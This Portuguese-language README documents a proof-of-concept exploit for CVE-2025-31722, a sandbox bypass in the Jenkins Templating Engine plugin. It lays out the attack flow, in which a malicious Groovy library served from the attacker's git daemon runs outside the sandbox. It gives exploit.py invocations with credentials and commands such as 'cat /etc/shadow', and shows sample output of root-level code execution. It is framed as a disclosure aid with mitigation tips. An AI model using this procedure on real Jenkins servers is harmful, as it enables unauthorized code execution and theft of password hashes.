
Exploit de prova de conceito para bypass de sandbox do plugin Jenkins Templating Engine (CVE-2025-31722) permitindo execução remota de código via injeção de biblioteca Groovy maliciosa.
Apenas para fins educacionais e de pesquisa de segurança autorizada.
Vulnerabilidade de bypass de sandbox no plug-in Jenkins Templating Engine (JTE) <= 2.5.3 que permite que um usuário com baixos privilégios execute código arbitrário no servidor Jenkins.
A falha ocorre porque o JTE carrega bibliotecas de um repositório git externo definido em uma configuração GovernanceTier em nível de pasta e executa as etapas dessas bibliotecas fora da sandbox do Groovy, independentemente do nível de privilégio do usuário que criou o job.
CVSS: 8.8 (Alta)
Tipo: Bypass de Sandbox → RCE
Componente afetado: plug-in pipeline-templating-engine ≤ 2.5.3
Versão corrigida: 2.5.4+
Attacker (Kali) Jenkins Server
─────────────── ──────────────
1. Creates git repo with evil.groovy
2. Starts git daemon on :9418
3. Creates folder in Jenkins → Folder with GovernanceTier
pointing to git://KALI:9418/… pointing to attacker's repo
4. Creates job with AdHoc template → Job calls evil()
5. Triggers build → JTE clones repo from Kali
Executes evil() outside sandbox
← RCE as Jenkins user
cloudbees-folder, git, workflow-aggregatorattacker com permissões: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILDgit instaladorequestspip install requests
A configuração instalada em um servidor Debian/Ubuntu tinha Jenkins instalado, usuários configurados, permissões e plugins necessários. Ela não cria nenhum conteúdo malicioso — isso é tratado exclusivamente pelo PoC.
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP>
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cmd "cat /etc/shadow"
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cleanup
| Parâmetro | Descrição | Obrigatório |
|---|---|---|
--url | URL base do Jenkins | Sim |
--user | Usuário com permissões Item/CREATE+CONFIGURE+BUILD | Sim |
--pass | Senha do usuário | Sim |
--git-host | IP do Kali acessível a partir do Jenkins | Sim |
--cmd | Comando a executar no servidor (padrão: id && hostname && cat /etc/passwd) | Não |
--cleanup | Exclui a pasta, o job e o repositório criados pelo exploit | Não |
setup_repo() — Cria ~/jte-exploit/evil-lib/steps/evil.groovy no Kali com o comando a executarstart_git_daemon() — Inicia git daemon no Kali na porta 9418create_folder() — Cria uma pasta no Jenkins com um GovernanceTier apontando para git://KALI:9418/jte-exploitcreate_job() — Cria um job com AdHocTemplateFlowDefinition que declara evil-lib e chama evil()trigger_and_wait() — Dispara a construção e aguarda o resultadoprint_output() — Exibe a saída do console com o resultado do RCEO daemon git permanece ativo durante todo o ciclo de construção e é encerrado automaticamente quando a construção é concluída.
=================================================================
CVE-2025-31722 — Jenkins Templating Engine RCE
Target : http://10.211.55.10:8080
Git host: 10.211.55.7
Command : id && hostname && cat /etc/passwd
=================================================================
[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued
=================================================================
CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================
Item/CREATE e Item/CONFIGURE apenas a usuários confiáveisGovernanceTier apontando para repositórios externosAviso legal: Este PoC destina-se exclusivamente a fins educacionais e testes em ambientes controlados. Usá-lo contra sistemas sem autorização explícita é ilegal.